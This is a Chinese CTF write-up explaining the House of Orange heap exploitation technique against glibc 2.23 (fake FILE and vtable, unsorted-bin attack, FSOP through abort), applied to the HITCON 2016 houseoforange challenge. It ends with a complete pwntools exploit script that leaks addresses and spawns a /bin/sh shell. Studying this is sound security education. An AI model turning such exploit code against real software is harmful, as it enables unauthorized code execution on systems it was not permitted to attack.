前言
这一个house of链应该算是最早的伪造io file来达到攻击目的的链了
借助这个来熟悉一下file结构体 这个链本身现在已经失去价值了 只能适用于libc2.23及以前的版本
这条链可以突破没有free函数的限制 并且达到劫持程序执行流的目的
File结构
File是linux标准IO库中用来描述文件的结构 程序的许多操作会涉及到遍历File结构体来获取对应指针
file结构的本质上是一个链表 链表头为IO_list_all 每个file结构的chain域指向下一个file结构
每个程序启动时有三个文件流是默认打开的 就是stdin stdout stderr
至于vtable 是一个存放许多函数指针的结构体
house of orange所涉及到的就是伪造上述的这两个结构体 从而劫持程序执行流
链路流程分析
我们知道 当plmalloc初始化堆后 如果bin中没有合适的chunk 就会从top chunk中分配所需要的chunk 那么如果所申请的chunk大于top chunk呢 分两种情况
一种是申请的chunk的size过大 需要通过mmap来分配 那么这种情况分配到的chunk就会位于libc地址上的一块空间
还有一种是top chunk过小 那么此时就会把top chunk释放进入unsortedbin 随后再次申请一个top chunk 从新的top chunk中分配所需要的chunk 不过释放top chunk还需要进行一次判断 下面来看一下源码
if (av == NULL) return 0;
old_top = av->top; old_size = chunksize (old_top); old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
可以看到需要进行两次的assert检查
第一次 对top chunk的大小进行检查 需要大于MINSIZE 并且Prev_inuse位要为1 top chunk的addr和size加起来还要满足刚好为一个页
我们覆盖top chunk的size 使得其不足以供我们分配 这个size要使得top chunk的结尾后3位为000
此时我们覆盖top chunk的size 接下来申请一个大于其size的chunk top chunk就会被释放进入unsortedbin
通过这种办法 可以在程序没有给予释放chunk的函数下 获得一个unsortedbin中的chunk 而在2.23及以下的版本 unsortedbin attack来任意写一个main_arena地址还是可行的 这意味着我们拥有了一次任意写的机会
我们上面说到过 file结构本质是一个链表 是通过链表头的IO_list_all的chain域来链接到下一个的file结构体
那么如果我们覆盖IO_list_all指针存放的值 接着伪造一个file结构体 把chain域覆盖成fake_file的地址 就可以实现扰乱程序索引file结构体
但是unsortedbin attack任意写的功效是有限的 只能写入main_arena+88的地址 那么根据偏移 其chain域会索引到main_arena+88+0x68处
0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x30 _IO_write_end 0x38 _IO_buf_base 0x40 _IO_buf_end 0x48 _IO_save_base 0x50 _IO_backup_base 0x58 _IO_save_end 0x60 _markers 0x68 _chain 0x70 _fileno 0x74 _flags2 0x78 _old_offset 0x80 _cur_column 0x82 _vtable_offset 0x83 _shortbuf 0x88 _lock 0x90 _offset 0x98 _codecvt 0xa0 _wide_data 0xa8 _freeres_list 0xb0 _freeres_buf 0xb8 __pad5 0xc0 _mode 0xc4 _unused2 0xd8 vtable
|
而这个偏移的地址 刚好是smallbins中 0x60的链表所位于的地址 所以我们可以释放一个0x60大小的chunk到smallbins 随后任意写覆盖io_list_all为main_arena+88 这样索引到的下一个file结构体就是smallbin chunk 伪造file结构体 就可以在这个chunk中伪造
接着是如何触发的问题 只是伪造肯定不能满足劫持执行流的目的 同时如何伪造也要根据触发的方式
这里涉及到了FSOP的知识点
其是通过IO_flush_all_lockp这个函数 这个函数会刷新io_list_all链表中的所有文件流 相当于对每个函数调用了fflush函数
而这个函数会调用到file结构体中vtable结构体中的IO_overflow函数
如下图 我们这样伪造一个file结构体
其vtable也被我们所伪造 来看以下vtable
将其overflow函数指针伪造成system 接下来利用gdb动调进入IO_flush_all_lockp函数 看看其调用system函数时的rdi参数时什么
可以看到rdi参数实际上是我们所伪造的file结构体的首地址 所以只要使得fake file的首地址为/bin/sh即可
那么如何触发IO_flush_all_lockp函数呢 一共有三种选择
当 libc 执行 abort 流程时
当执行 exit 函数时
当执行流从 main 函数返回时
这里使用的是第一种办法 相对来说更加通用
这个abort流程是什么呢 实际上我们破坏了堆结构 导致调用malloc_printerr函数来输出错误信息
至于具体是哪里的我没动调出来 大致的猜测是unsortedbin的bk指向的地址没有构成完整的双向链表导致的进入while循环 但是这个if分支为啥会成立就是个疑点了
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);
|
malloc_printerr函数种会调用__libc_message函数
这个函数的内部就调用了abort函数
而abort内部调用了_IO_flush_all_lockp函数
于是就可以调用到fake file的io_overflow函数
同时我们再来看一下_IO_flush_all_lockp函数怎样才能调用了file结构体的io_overflow函数
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; }
|
需要使得mode小于等于0 IO_write_ptr大于IO_write_base
那么就使得io_write_ptr = 1 io_write_base = mode = 0即可
还有一点需要注意的是 main_arena+88的那个fake file 如果我们触发了_IO_flush_all_lockp函数 其如果满足上面的条件 也是会调用overflow函数 但是很明显不能在这里就调用overflow函数
如下图 _mode的值是否为正负和aslr和pie导致的地址随机化有关 所以这里存在一个概率打通的问题 需要mode为负才能打通
真题分析
houseoforange hitcon 2016
add函数限制了申请chunk的size 小于等于0x1000
show函数可以打印堆块内容
edit函数存在堆溢出
但是没有释放堆块的函数 同时chunk指针只能保存一个 所以show和edit都只对最新申请的chunk有效
申请一个chunk会额外申请两个chunk 低地址处的chunk存放着实际分配的chunk和第三个chunk的地址
中间的chunk是实际分配的chunk 第三个chunk是用来存放price和color 不过没啥用 这题的核心考点不在于这两个伴随堆块
利用上面提到的办法 来使得top chunk被释放进入unsortedbin 随后申请一个chunk 就可以泄露libc基址
并且 如果申请到的是一个largebin chunk 那么还可以顺便泄露一下堆地址
add(0x10,b'aaaa') payload = cyclic(0x18)+p64(0x21)+p32(0)+p32(0x1f)+cyclic(0x10)+p64(0xfa1) edit(len(payload),payload) add(0x1000,b'aaaa') add(0x400,cyclic(0x8)) show() libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5188 success("libc_addr :"+hex(libc_addr)) edit(0x10,cyclic(0x10)) show() heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xc0 success("heap_addr :"+hex(heap_addr))
|
接下来就是利用unsortedbin attack来往io_list_all中写入main_arena的地址
随后计算偏移构造fake file
fake_io = libc_addr + libc.sym['_IO_list_all'] system_addr = libc_addr + libc.sym['system'] payload = cyclic(0x408)+p64(0x21)+cyclic(0x10) fake_file = b'/bin/sh\x00'+p64(0x60) fake_file += p64(0)+p64(fake_io-0x10) fake_file += p64(0)+p64(1) fake_file = fake_file.ljust(0xc0,b'\x00') payload += fake_file + p64(0)*3+p64(heap_addr+0x5c8)+p64(0)*2+p64(system_addr)
|
随后再次进入add函数 只要触发了malloc函数 就可以触发fake file
完整exp:
from pwn import* from ctypes import * io = process("./pwn")
elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
def add(size,payload): io.recvuntil("Your choice : ") io.sendline(b'1') io.recvuntil("Length of name :") io.send(str(size)) io.recvuntil("Name :") io.send(payload) io.recvuntil("Price of Orange:") io.send(b'aaaa') io.recvuntil("Color of Orange:") io.send(str(1)) def show(): io.recvuntil("Your choice : ") io.sendline(b'2') def edit(size,payload): io.recvuntil("Your choice : ") io.sendline(b'3') io.recvuntil("Length of name :") io.send(str(size)) io.recvuntil("Name:") io.send(payload) io.recvuntil("Price of Orange:") io.send(b'aaaa') io.recvuntil("Color of Orange:") io.send(str(1))
add(0x10,b'aaaa') payload = cyclic(0x18)+p64(0x21)+p32(0)+p32(0x1f)+cyclic(0x10)+p64(0xfa1) edit(len(payload),payload) add(0x1000,b'aaaa') add(0x400,cyclic(0x8)) show() libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5188 success("libc_addr :"+hex(libc_addr)) edit(0x10,cyclic(0x10)) show() heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xc0 success("heap_addr :"+hex(heap_addr)) fake_io = libc_addr + libc.sym['_IO_list_all'] system_addr = libc_addr + libc.sym['system'] payload = cyclic(0x408)+p64(0x21)+cyclic(0x10) fake_file = b'/bin/sh\x00'+p64(0x60) fake_file += p64(0)+p64(fake_io-0x10) fake_file += p64(0)+p64(1) fake_file = fake_file.ljust(0xc0,b'\x00') payload += fake_file + p64(0)*3+p64(heap_addr+0x5c8)+p64(0)*2+p64(system_addr) edit(len(payload),payload) io.recvuntil("Your choice : ")
io.sendline(b'1')
io.interactive()
|